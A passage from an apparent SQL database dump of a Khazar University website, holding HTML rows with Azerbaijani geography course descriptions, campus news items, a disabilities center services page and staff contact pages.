prosesləri, Buzlaq prosesləri, Tektonik proseslər,\r\nmaqmatik və bioloji proseslər</p>\r\n<p><strong>GEOG 202 Hidrologiya (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Bu\r\nkursda su axınlarının fiziki prosesləri ilə yanaşı, hidroloji problemləri həll\r\netmək üçün istifadə olunan üsullar öyrənilir. Praktik olaraq hidroloqlar suyun\r\natmosfer, yer və okean arasındakı mübadiləsinin miqdarını ölçməli, eyni zamanda\r\nməlumatları müəyyən etməli və idarə etməlidir.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 204 </strong><strong>Meteorologiya və\r\nKlimatologiya </strong><strong>(6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Metreologiya\r\nvə klimatologiyanın əsas prinsipləri öyrənilir. Atmosferin fizikası, enerji və\r\nradiasiya balansı, adiabatik proseslər, iqlim təsnifatı, üfüqi horizontallıq,\r\nhava təhlükələri</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 206 Kartoqrafiya və GİS (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Bu\r\nkursun əsas məqsədi kartoqrafiya elminə dair əsas bilikləri aşılamaqdır. Əsas bölmələr:\r\nYer planeti, Kartoqrafik layihələndirmələr, Xəritələr, Xəritə düzəltmə, Məsafədən\r\nzondlanma, Coğrafi İnformasiya sistemləri(CİS)</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 208 Dünyanın fiziki coğrafiyası&nbsp;</strong><strong>(6&nbsp;<strong></strong><strong>AKTS)</strong>  </strong></p><div><strong><br></strong></div>\r\n<p>Bu\r\nkursun əsas məqsədi Yerin fiziki coğrafiyasına dair möhkəm əsas yaramaqdır. Əsas\r\nbölmələr: Qitələrin: Avropa, Asiya, Antarktida, Avstraliya/Okeaniya və\r\nOkeanların: Sakit okean, Hind okeanı Atlantik okean Şimal Buzlu okeanı fiziki\r\ncoğrafiyasına dair biliklər.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>Geog 301 Geologiya&nbsp;</strong><strong>(6&nbsp;<strong></strong><strong>AKTS)</strong>  </strong></p><div><strong><br></strong></div>\r\n<p>Bu\r\nkursun əsas məqsədi yerin geologiyasına dair əsas bilikləri çatdırmaqdır. Əsas\r\nbölmələri: Hidrogeologiya, Kristolloqrafiya,\r\nGeofizika.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>Geog 302 Ətraf mühit &nbsp;(6&nbsp;<strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Bu\r\nkursun əsas məqsədi təbiət, ətraf mühit, həmçinin ekoloji çirklənmə haqqında əsas\r\nbiliyin çatdırılmasıdır. Əsas bölmələr: Ekologiya, Ətraf mühit, Ətraf mühit\r\nçirklənməsi, Azərbaycanın ətraf mühit problemləri və əsas çətinliklər. </p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 303 Turizm (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Kursun əsas\r\nməqsədi turizm və turizm ilə əlaqədar problemlərə dair əsas möhkəm əsas\r\nyaramaqdır. Əsas bölmələr: Turizm, Turist icarəsi rental, Dünyanın turistik yerləri, Avropada\r\nturizm, Mehmanxana idarəetməsi, Dağ turizmi, Mühafizə olunan ərazilərin və\r\nMilli parkların turizmi, Turistik idarəetmə, Azərbaycanda turizm.</p>\r\n<p>Turizmə\r\ntəsir edən mədəni, fiziki və biotik faktorlar, Dünyanın rekreasiya resursları,\r\nmədəni resurslar, biotik faktorların turizmə təsiri, turizm resursları, turizm\r\nsənayesi. Azərbaycanın rekreasiya resursları, Azərbaycanda turizm idarəetməsi.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>Geog 304 Su ehtiyatlarının inteqrasiyalı idarəetməsi\r\n(6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Su\r\nehtiyatlarının uyğun xüsusiyyətlərini, suların davamlı bölüşdürülməsi və hövzə\r\nfunksiyalarının genişləndirilməsi üçün planlar, layihələr və proqramların\r\nyaradılması və həyata keçirilməsinin öyrənilməsi. Əsas bölmələrə daxildir: Su\r\ninventarı, problemin müəyyən edilməsi və həlli, iqlim dəyişikliyi və su\r\nehtiyatlarının idarəolunması, su münaqişələri, transsərhəd sularının idarəolunması,\r\nsu və kənd təsərrüfatı, Azərbaycan sularının problemləri, su təhlükələri</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>Geog 306 Azərbaycanın fiziki, iqtisadi və sosial\r\ncoğrafiyası (6 <strong>AKTS)</strong>  </strong></p>\r\n<p>Bu\r\nkursun əsas məqsədi Azərbaycanın fiziki coğrafiyası ilə bağlı əsas biliyi\r\nçatdırmaqdır. Azərbaycanın regionları ayrı-ayrı öyrənilir. Əsas bölmələr: Azərbaycanın\r\ncoğrafi mövqeyi, Azərbaycanın geologiyası, Mineral resurslar, İqlim, Çaylar və\r\nsu ehtiyatları, Xəzər dənizi, Ekoloji problemlər, Mühafizələnmiş ərazilər, Azərbaycanın\r\ntəbii regionlarını, çaylar və su ehtiyatları, Landşaftlar,\r\nFlora və fauna, Şəhər və Kənd təsərrüfatı landşaftları, Milli parklar.</p>\r\n<p>Azərbaycanın\r\niqtisadi Coğrafi Vəziyyəti, Azərbaycanın Təbii Ehtiyatları, Azərbaycanın\r\nƏhalisi, Miqrasiya Problemləri, Azərbaycanın Demoqrafiyası, İqtisadi Sektorlar,\r\nAzərbaycanın İqtisadi Coğrafiyası, Kənd təsərrüfatı, Təbii Ehtiyatların İdarəolunması,\r\nAzərbaycanın İqtisadi Regionları və Əsas Problemləri.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>Geog 308 Dünyanın iqtisadi və sosial coğrafiyası (6\r\n<strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Bu kurs\r\ndünyanın iqtisadi və sosial coğrafiyası ilə bağlı əsas bilikləri təmin edir. Regionlar və ölkələr\r\nbarəsində ətraflı biliklər çatdırılır. Əsas bölmələr: Dünyanın təbii ehtiyatları\r\nvə onların idarəolunması, əhali və urbanizasiya-əsas maneələr, kənd təsərrüfatı,\r\nsənaye, Dünyanın iqtisadi və sosial regionları, Dünya ölkələri misal olaraq,\r\nAmerika Birləşmiş Ştatları, Almaniya, Yaponiya, Afrika Ölkələri, İslam Ölkələri,\r\nTürk Ölkələr.<strong></strong></p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>Geog 310 Torpaqşünaslıq (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Torpaq və\r\nlandşaftların xüsusiyyətlərinin, paylanma prinsiplərinin öyrənilməsi. Əhatə\r\nolunan mövzular: Pedologiya, gil\r\nmineralogiyası, Torpağın fizikası, torpağın kimyası, torpaqlar, torpaq\r\nbiologiyası, taksanomiya, torpaq geomorfologiyası, torpaqların təsnifatı və\r\nidarəolunması.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 401 Ətraf mühit idarəetməsi (6 <strong></strong><strong><strong>AKTS)</strong>  </strong></strong></p>\r\n<p>Bu kurs ətraf\r\nmühitin effektiv idarəolunması üçün qlobal və milli ekoloji narahatlıq doğuran\r\nsahələrə, səmərəli ekoloji idarəetmə strategiyalarına, ətraf mühit anlayışına və\r\nprinsiplərinə bir baxış təmin edir. Əsas bölmələr: Təbiət, Ekologiya, Ətraf\r\nmühit problemləri, Su və hava çirklənməsi, Torpaq çirklənməsi, iqlim dəyişikliyi,\r\nKarbonun idarəolunması</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>Geog 402 Gedodeziya və Coğrafi İnformasiya Sistemləri\r\n(6&nbsp;<strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Xəritəçəkmə\r\nprinsiplərinə texnikalarına və qərarlarına kompüterdə xəritəçəkmə və coğrafi\r\ninformasiya sistemləri (CİS) proqramından istıfadə daxildir. Bu bölmələr\r\ndaxildir: Xəritə və xəritənin növləri, ümumi və tematik kartoqrafiya,\r\ntopoqrafik xəritələr, xəritə dizaynı, xəritələrin layihələndirilməsi, CİS\r\nproqram təminatı, Xəritəçəkməkdə CİS-dən istifadə olunması, CİS texnikaları və\r\ntexnologiyası, Məlumatın toplanması, rektorun rasterə çevrilməsi, Layihələr.</p>\r\n<p>CİS ilə məkan\r\ntəhlili</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 403 Xəzərşünaslıq (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Xəzər dənizinin\r\nöyrənilməsi. Xəzər dənizi dünyanın ən böyük qapalı hövzəsidir. Bu nəhəng göl Azərbaycanın\r\niqtisadi, mədəni və regional həyatında vacib rola malikdir. Əsas mövzulara\r\ndaxildir: Xəzər dənizinin metrologiyası vəhidrologiyası, Xəzər dənizinə tökülən\r\nçaylar, səviyyə dəyişmələri, Flora və fauna, Balıq növləri, neft və qaz\r\nresursları, neft sənayesi, ətraf mühit problemləri, siyasi problemlər.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>Seçməli</strong></p>\r\n<p><strong>Geog 106 Biocoğrafiya (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Coğrafi\r\nməkan və geoloji vaxtda növlərin və ekosistemlərin paylanması haqqında tədqiqat.\r\nƏsas mövzulara daxildir: Növlərin tarixi,\r\npalebiocoğrafiya, Canlı orqanizmlər və ətraf mühit arasında qarşılıqlı təsir,\r\nməkan və vaxt ərzində növlərin təkamülü, Növlərin paylanması, əsas biomlar,\r\nekozonalar, gələcəkdəki dəyişikliklər, ekoloji məkan/torpaq təsnifatı.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>Geog 210 Coğrafiyanın statistik metodları (6\r\n<strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Coğrafi\r\nməlumatların statistik analizi, bölünməsi, T test, F test, ANOVA asılılıq və\r\nkorrelyasiyası, ARMA, ARFİMA modelləri, seçmə statistik təhlil. </p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 312 Şəhər coğrafiyası və planlaşdırma (6\r\n<strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Bu kurs\r\nbir çox perspektivlərdən şəhəri tədqiq edir. Şəhərləri və onların\r\nplanlaşdırılması problemləri öyrənilir. Ərazinin növü etnik və mədəni nöqteyi-nəzərdən\r\nvurğulanır. Əsas mövzulara daxildir: şəhər iyeraxiyası, şəhərin funksiyaları,\r\nsuburbanizasiya, şəhər planlaşdırılması, nəqliyyat planlaşdırılması.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 310 Dünyanın regional coğrafiyası (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Dünyanın\r\nəsas mədəniyyət ərazilərinin ekoloji baxımdan tədqiqi, tarixi formativ dövrlərin\r\nvə bu günün problemlərinin araşdırılması. Əsas bölmələrə daxildir: Fiziki\r\nproseslər, İnsan prosesləri, Avropanın coğrafi profili, Şimali Amerikanın\r\ncoğrafi profili, Rusiyanın və keçmiş Sovet respublikalarının profilləri,\r\nAfrikanın coğrafi profili, Avstraliyanın coğrafi profili, Yaxın Şərqin coğrafi\r\nprofili.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 411 Tarixi Coğrafiya (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Bu kursun əsas məqsədi coğrafiya və tarix arasında\r\nkörpü yaratmaq və tarixi sivilizasiyaların coğrafiyası ilə bağlı əsas bilikləri\r\naşılamaqdır. Əsas bölmələr:&nbsp; <strong></strong></p>\r\n<p>Qədim\r\nMillətlərin, Misirin, Romanın, Yunanıstanın coğrafi Xüsusiyyətləri.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 316 Azərbaycanın insan coğrafiyası (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Azərbaycanın\r\niqtisadi və sosial fəaliyyətlərinin məkansal yerləşməsinin və təşkilinin öyrənilməsi.\r\nƏsas mövzulara daxildir: Azərbaycanda əsas insan fəaliyyəti, Azərbaycanın\r\niqtisadi rayonları, demoqrafik dəyişikliklər, Miqrasiya problemləri, əhali\r\npaylaşması, Nəqliyyat, əsas iqtisadi fəaliyyətlər, Sənaye, Kənd təsərrüfatı, ətraf\r\nmühit problemləri, böyük şəhərlər.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 318 Demoqrafiya (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Əhalinin\r\nxüsusiyyətlərinin və onların zaman və məkan baxımından bölüşdürülməsinin öyrənilməsi.\r\nBu mövzular daxildir: əhali piramidası, əhalinin siyahıyaalınması, uşaq ölümü,\r\ninkişaf etmiş əhali və cəmiyyət nümunələri, demoqrafik siyasət.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 418 Davamlı inkişaf (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Təbii\r\nehtiyatların davamlı idarəolunması prinsiplərinin öyrənilməsi. Bu mövzular\r\ndaxildir: Təbii sərvətlər, Təbii sərvətlərin idarəolunması, davamlılıq, təbii sərvətlərin\r\nsəmərəli istifadəsi, Alternativ enerji mənbələri, şəhər təsərrüfatı, otlaq idarəolunması,\r\nMeşə idarəolunması</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 418\r\nAgroklimatologiya (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>İqlimin\r\nkənd təsərrüfatı istehsalatının faktoru kimi tədqiq olunması. Mövzulara\r\ndaxildir: Torpaq və onun məhsuldarlığı, iqlim və kənd təsərrüfatı, quru ərazilərin\r\nsu ehtiyatları, agroiqlim resursları</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 412 Türk dünyasının coğrafiyası (6 <strong></strong><strong>AKTS)</strong>  </strong></p>\r\n<p>Bu kurs\r\ntürk dünyasının əsas\r\nfonunun(background) inkişafına, o cümlədən hazırki iqtisadi və sosial\r\ncoğrafiyası haqqında ətraflı bilik verilməsinə xidmət edir. Əsas bölmələr: Türk\r\nölkələri, türk ölkələrinin coğrafi mövqeyi, təbii sərvətlər, əhali, türk\r\nxalqları, Kənd təsərrüfatı, Sənaye, Türkiyə, Qazaxıstan, Özbəkistan, Rusiya və\r\nÇindəki türk dövlət qurumları.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 320 Çöl işi&nbsp;<strong>(6&nbsp;<strong></strong><strong>AKTS)</strong>  </strong>  </strong></p>\r\n<p>Müstəqil\r\nçöl işinə məlumatların toplanması və analizi, kurs işinin yazılması daxildir.</p>  <br></div>'),(1986,1210,'en','Chess Match Held at Dunya School Ends','A chess match held at Khazar University’s affiliate Dunya School completed successfully. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, Nailakhanim Isayeva,','<p>A chess match held at Khazar University’s affiliate Dunya\r\nSchool completed successfully. Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, Nailakhanim\r\nIsayeva, Advisor to the Board of Directors and Trustees for Humanitarian and\r\nOrganizational Affairs, school administration, a group of national champions\r\nand winners among children, students and parents participated in the match. </p>\r\n<p>In the opening speech Hamlet Isaxanli highlighted the\r\nimportance of chess and highly appreciated the role of this kind of events in\r\nthe development of children`s logical thinking.</p>\r\n<p>&nbsp;Elshad Rzayev, FIDE chess master refereed the\r\nmatch. Shelale Huseynova, Dunya School chess teacher participated in the event\r\nas well. The games played on 45 boards synchronously were full of tension and good\r\nimpressions.</p>\r\n<p>The winners were awarded with diplomas and presents.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>'),(2237,1366,'az','Bizim xidmətlərimiz','Bizim xidmətlərimiz','<p style=\"text-align:justify\">Mərkəz\r\nbütün akademik və administrativ işçiləri təlimatlarla təmin edir. Mərkəzin xidmət və\r\nproqramlarına aşağıdakılar daxildir:</p>\r\n<p style=\"text-align:justify\"></p><ul><li>Yardımçı\r\nləvazimatlar və proqramlarla təmin etmək;</li><li>Əlilliyi\r\nolan tələbələr üçün xidmət və yardımları həyata keçirmək və həmçinən fakültələrə\r\nlazım gəldikdə yardım etmək;</li><li>Məsləhət\r\nvermək;</li><li>Müəllim\r\ntərəfindən hazırlanmış tədris proqramını təqdim etmək;</li><li>Tədris\r\nmateriallarının xüsusi formata çevirmək;</li><li>İmtahan\r\nzamanı yardım göstərmək, məsələn, əlavə vaxt, kopyuterdən istifadə etmək,\r\nimtahan suallarını lazımi formata salmaq və s.;</li><li>&nbsp;Fakültələrə\r\nəvvəlcədən imtahanın vaxtında dəyişiklik olması haqqında məlumat vermək və müəllimə\r\ntələbənin ehtiyacları haqqında məktub yazmaq (Rəy);</li><li>Materialları genişləndirmək və brayl əlifbasına\r\nçevirmək;</li><li>Test\r\nvaxtını uzatmaq;</li><li>Əlilliyi\r\nolan tələbə üçün öncədən sinifdə oturma yerini müəyyənləşdirmək;</li><li>Müəllimlərdən\r\nmühazirələri yazmaq üçün icazə almaq;</li><li>Könüllü\r\ntələbələrin təlimləndirmək;</li><li>Əlilliyi\r\nolan və olmayan tələbələr üçün müxtəlif mövzularda təlimləri və seminarları təşkil\r\netmək.</li></ul><p></p>\r\n<p style=\"text-align:justify\">Evdə\r\nmateriallardan istifadə edə bilmək üçün təlimat materialları əlverişli formaya\r\nsalınaraq əlil tələbələrə verilə bilər. Bu halda tələbə söz verməlidir ki, bu\r\nmaterialı yaymayacaq və müəllif hüquqlarını qoruyacaq.</p>'),(2238,1367,'en','Useful documents','Useful documents','<p><a href=\"http://www.khazar.org/files/ESFIDIP/Khazar%20Charter_eng.PDF\">Charter of the Center for Students with Disabilities</a></p><p><a href=\"http://www.khazar.org/files/ESFIDIP/Guideline%20of%20the%20Center%20for%20Students%20with%20Disabilities_ENG.PDF\">Guideline of the Center for Students with Disabilities</a>  <br></p>'),(2239,1367,'az','Lazımi sənədlər','Lazımi sənədlər','<p><a href=\"http://www.khazar.org/files/ESFIDIP/Khazar_charter_az.PDF\">\"Əlilliyi olan Tələbələr üçün Mərkəz\"in Nizamnaməsi&nbsp;</a>  <br></p><p><a href=\"http://www.khazar.org/files/ESFIDIP/%C6%8Flilliyi%20olan%20T%C9%99l%C9%99b%C9%99l%C9%99r%20%C3%BC%C3%A7%C3%BCn%20M%C9%99rk%C9%99zin%20t%C9%99limat%C4%B1_AZ.PDF\">\"Əlilliyi olan&nbsp;Tələbələr üçün Mərkəz\"in təlimatı</a></p>'),(2240,1368,'az','Bizim tərəfdaşlar','Bizim tərəfdaşlar',''),(2241,1368,'en','Our partners','Our partners',''),(2242,1369,'az','Qalereya','Qalereya',''),(2243,1369,'en','Gallery','Gallery',''),(2244,1370,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p><img src=\"/files/ESFIDIP/rima_m.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:223px\"><strong><a href=\"http://www.khazar.org/files/ESFIDIP/Rima%20Mammadova_CV_20.12.2017.pdf\">Rima Məmmədova</a>&nbsp;</strong></p><p><strong>Layihə rəhbəri</strong></p><p><strong>Əlilliyi olan&nbsp;Tələbələr üçün Mərkəzin koordinatoru</strong></p><p>Məhsəti küç. 41,&nbsp;AZ1096,&nbsp;Bakı, Azərbaycan</p><p><strong>Telefon</strong>: (+994 12) 421&nbsp;10&nbsp;93 (234)</p><p><strong>E-</strong><strong>mail</strong>:&nbsp;<a href=\"mailto:rmammadova@khazar.org\">rmammadova[at]khazar.org</a>  </p>'),(2245,1370,'en','Contact us','Contact us','<p><strong><a href=\"http://www.khazar.org/files/ESFIDIP/Rima%20Mammadova_CV_20.12.2017.pdf\"><img src=\"/files/ESFIDIP/rima_m.jpg\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Rima Mammadova</a></strong>&nbsp;</p><p><strong>Project manager</strong></p><p><strong>Coordinator of the Center for Students with Disabilities</strong></p><p>41 Mehseti Str.&nbsp;AZ1096, Baku, Azerbaijan</p><p><strong>Phone</strong><strong>:</strong> (+994 12) 421&nbsp;10&nbsp;93 (234)</p><p><strong></strong><strong>E-</strong><strong>mail</strong>:&nbsp;<a href=\"mailto:rmammadova@khazar.org\">rmammadova[at]khazar.org</a>  <a href=\"http://mailto:rmammadova@khazar.org/\"></a>  </p>'),(2246,1371,'en','Find us on facebook','Find us on facebook',''),(2247,1371,'az','Find us on facebook','Find us on facebook',''),(2253,1376,'az','Xəzər Universiteti ilə Uppsala Universiteti arasında biotibbi tədqiqatlar üçün addımlar atılır','2016-cı il sentyabrın 26-da Xəzər Universitetinin Bioloji elmlər departamentinin müdiri, Hüceyrə  Patalogiyası üzrə Tədqiqat Mərkəzinin rəhbəri Dr. İradə Xəlilova...','2016-cı il sentyabrın\r\n26-da Xəzər Universitetinin\r\nBioloji elmlər departamentinin müdiri, Hüceyrə&nbsp; Patalogiyası üzrə Tədqiqat\r\nMərkəzinin rəhbəri Dr. İradə Xəlilova il tarixində İsveçin Uppsala Universitetində\r\nBiotibbi Mərkəzə baş çəkmiş, mərkəzin direktoru və Hüceyrə və molekulyar\r\nbiologiya departamentinin müəllimi professor Leif Kirsebom ilə görüşmüşdür.\r\nProfessor Kirsebom Dr. Xəlilovanı universitetin tədqiqat laboratoriyaları və\r\navadanlıqları ilə tanış etmişdir. Daha sonra onlar Xəzər Universiteti ilə\r\nUppsala Universiteti arasında tədqiqat və müştərək proqramlarla bağlı əməkdaşlığı\r\nmüzakirə etmişlər.'),(2248,1372,'az','Xəzər Universitetində “Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursu”nun məzunlarına sertifikat təqdim olundu ','Xəzər Universitetində aprelin 2-də başlamış, sayca dördüncü olan “Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə  təlim kursu” iyunun 30-da başa çatmışdı...','<p>Xəzər Universitetində aprelin 2-də başlamış, sayca\r\ndördüncü olan “Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə&nbsp; təlim kursu” iyunun 30-da başa çatmışdı. Sentyabrın 30-da “Dünya” məktəbinin konfrans salonunda\r\nməzunlara sertifikatların təqdim olunması mərasimi keçirildi. &nbsp;Qeyd edək ki, &nbsp;kurs yeni qəbul edilmiş müdavimlərlə davam etməkdədir.&nbsp; </p>\r\n<p>Kursun&nbsp; əsas məqsədi\r\nölkədəki yeni təhsil strategiyasına və təhsil islahataına uyğun olaraq məktəb\r\ndirektorlarının və gələcəkdə bu sahədə fəaliyyət göstərmək istəyən təhsil işçilərinin\r\nbilik və bacarıqlarını artırmaq, onları dünyadakı&nbsp; səmərəli idarəetmə təcrübəsi ilə tanış etməkdir.\r\nBu məqsədlə &nbsp;həftədə 4 gün 16 saat\r\nolmaqla keçirilən dərslər 12 həftə davam etmişdir. Fənləri universitetin\r\nİnkişaf mərkəzinin direktoru Raziyə İsayeva (Təhsilin idarə edilməsi), &nbsp;Təhsil fakültəsinin decani Elza Səmədli (Kurikulumun\r\ntətbiqi və idarə olunması), Elektronika və telekommunikasiya departamentinin\r\nmüdiri Nuru Səfərov (İnformasiya - kommunikasiya texnologiyaları), müəllimlər&nbsp; -&nbsp; Akif\r\nƏlizadə (Təhsil hüququ), Elxan Bəylərov (Psixometriya), Mələk Kərimova (Təhsil\r\npsixologiyası), Vüsal Məmmədrzayev (Statistika) və Aynur Məmmədrzayeva (Maliyyə)\r\ntədris etmişlər.</p>\r\n<p>Təlimlər zamanı, həmçinin, &nbsp;layihə çərçivəsində universitetin Mərmər\r\nsalonunda “Qonaq Mühazirəçilər Seminarları” fəaliyyət göstərmişdir. Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı “Təhsildə idarəetmə: nəzəriyyədən praktikaya”,ESFİDİP layihəsinin\r\nrəhbəri Rima Məmmədova \"Əlilliyi olan tələbələrlə 360 dərəcə ünsiyyət” və Bakı Şəhər Təhsil İdarəsinin rəisi Məhəbbət Vəliyeva “Ümumtəhsil\r\nməktəblərini&nbsp; idarə edən təhsil rəhbərlərindən gözlənilən keyfiyyətlər və bacarıqlar”\r\nmövzularında seminar - müzakirələr keçirmişlər.</p>\r\n<p>Kursun məşğələlərində iştirakçıların təqdimatları\r\nolmuş, müzakirələr aparılmış, çay süfrələri ətrafında söhbətlər keçirilmişdir.\r\nOnlar kursun çox əhəmiyyətli olduğunu, əldə etdikləri nəzəri və &nbsp;təcrübi\r\nbilikləri öz işlərində tətbiq edəcəklərini bildirmişlər. </p>\r\n<p>Məzunlara sertifikatların təqdim olunması mərasimini\r\nH. İsaxanlı açaraq, geniş çıxış etdi. O, Xəzər Universitetində keçirilən kursun\r\nəhəmiyyətindən, məktəb rəhbərləri qarşısında duran vəzifələrdən danışdı. Kursun\r\nilk məzunu, artıq iki il ərzində Bakının Binəqədi rayonundakı 283 saylı tam\r\norta məktəbin direktoru işləyən Tünzalə Zeynalova mərasimdə çıxış edərək, məzunların\r\nkaryerasında&nbsp; kursların mühüm rol\r\noynadığını vurğuladı.</p>\r\n<p>Sonra iki qrupda kursu bitirmiş 54 məzuna sertifikatların təqdim olunması mərasimi başlandı. Sertifikatları H.\r\nİsaxanlı, Humanitar və sosial\r\nelmlər fakültəsinin dekanı Cabir Xəlilov, R. İsayeva, E. Səmədli, N. Səfərov və\r\nmüəllimlər təqdim etdilər. Sertifikatlar təqdim olunandan sonra məzunlar and\r\niçdilər:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n<p><em>“Azərbaycan\r\nRespublikası Konstitusiyasına və qanunlarına riayət edərək Azərbaycan təhsilinin\r\nənənələrinəsadiq qalacağıma, keyfiyyətli təhsil xidməti göstətəcəyimə, peşəkar\r\nfəaliyyət zamanı qeyri-etik davranışın hər hansı formasına yol verməyəcəyimə, həmkarlarım,\r\ntəhsil alanlar, valideynlər və digər şəxslərlə münasibətləri hörmət, şərəf və ləyaqət\r\nəsasında quracağıma, müəllim adını və şərəfini uca tutacağıma and içirəm!”</em></p>\r\n<p>Kursun hər qrupunun keçdiyi yol haqqında universitetin\r\nMultimedia mərkəzində mərkəzin direktoru Natella Barkayanın rəhbərliyi ilə\r\nhazırlanmış slayd-şoular nümayiş etdirildi.</p>\r\n<p>Kursu bitirənlər adından&nbsp; Sevda Alışova və Fərqanə Əliyeva çıxış edərək,\r\nlayihə rəhbərləri R. İsayevaya, E. Səmədovaya və layihənin digər təşkilatçılarına\r\nminnətdarlıqlarını bildirdilər. Xatirə şəkilləri çəkildi.</p>\r\n<p>Mərasim iştirakçılarına Xəzər Universiteti Musiqi və\r\nincəsənət departamentinin müdiri, pianoçu Zülfiyyə Sadıqovanın rəhbərliyi ilə\r\nuniversitetin Kamera orkestrinin, tələbələrdən ibarət “Yallı” rəqs ansamblının konserti\r\ntəqdim olundu. Xəzər Universitetinin müəllimi, Opera və Balet Teatrının solisti,\r\nƏməkdar artist Fərid Əliyevin ifasında &nbsp;müxtəlif mahnılar səsləndi.</p>'),(2252,1376,'en','Head of Biological Sciences Department Visits Uppsala University in Sweden','On September 26, 2016, Dr. Irada Khalilova, Head of the Biological Sciences Department and Centre for Cell Pathology Research of Khazar University...','<p>On\r\nSeptember 26, 2016, Dr. Irada Khalilova, Head of the Biological Sciences\r\nDepartment and Centre for Cell Pathology Research of Khazar University, visited\r\nthe Biomedical Centre of Uppsala University in Sweden. Dr. Khalilova met\r\nProfessor Leif Kirsebom, Director of the Biomedical Centre and instructor in\r\nthe Department of Cell and Molecular Biology of Uppsala University. Professor\r\nKirsebom introduced Dr. Khalilova to the research laboratories and facilities.\r\nThen they discussed opportunities for research collaboration and joint\r\neducational programs between Khazar and Uppsala University.</p>'),(2249,1373,'az','İşçi heyət','İşçi heyət','<p><strong style=\"font-size:large\">Direktor:</strong></p><p><strong><img src=\"/files/multimedia/DSC_0078.jpg\" style=\"border:0px  #000000;vertical-align:middle;width:600px;height:397px;margin:7px\"></strong></p><p style=\"text-align:center\"><strong style=\"font-size:xx-large\"><a href=\"https://www.facebook.com/profile.php?id=100012158683632\" target=\"_blank\">Natella Barkaya</a></strong></p><p><br></p><p style=\"text-align:right;font-size:xx-large\"><strong>Könüllü tələbələr:</strong></p><p><em><strong><br></strong></em></p><p><em><strong><br></strong></em></p><p><br></p><p><img src=\"/files/multimedia/Azer.jpg\" style=\"width:400px;height:268px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><strong><a href=\"https://www.facebook.com/azer.mustafayev2\" target=\"_blank\" style=\"font-size:large\"><span style=\"font-size:large;text-align:left\">Azər Mustafazadə</span></a></strong></p><p style=\"text-align:left\"><a href=\"http://www.khazar.org/az/menus/47/muhendislik_ve_tetbiqi_elmler_fakultesi\">(Mühəndislik və Tətbiqi elmlər fakültəsi)</a></p><p><br></p><p><br></p><p><br></p><p><br></p><p http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" class=\"elrte-media elrte-media-x-shockwave-flash elrte-protected\" title=\"/files/multimedia/DSC_0050.JPG\" rel=\"media6850735772274934\" width=\"150\" height=\"100\" style=\"background-image: url(\" ..=\"\" outline-p.png\");\"=\"\"><em><strong><img src=\"/files/multimedia/Rufatlast.jpg\" style=\"border:0px  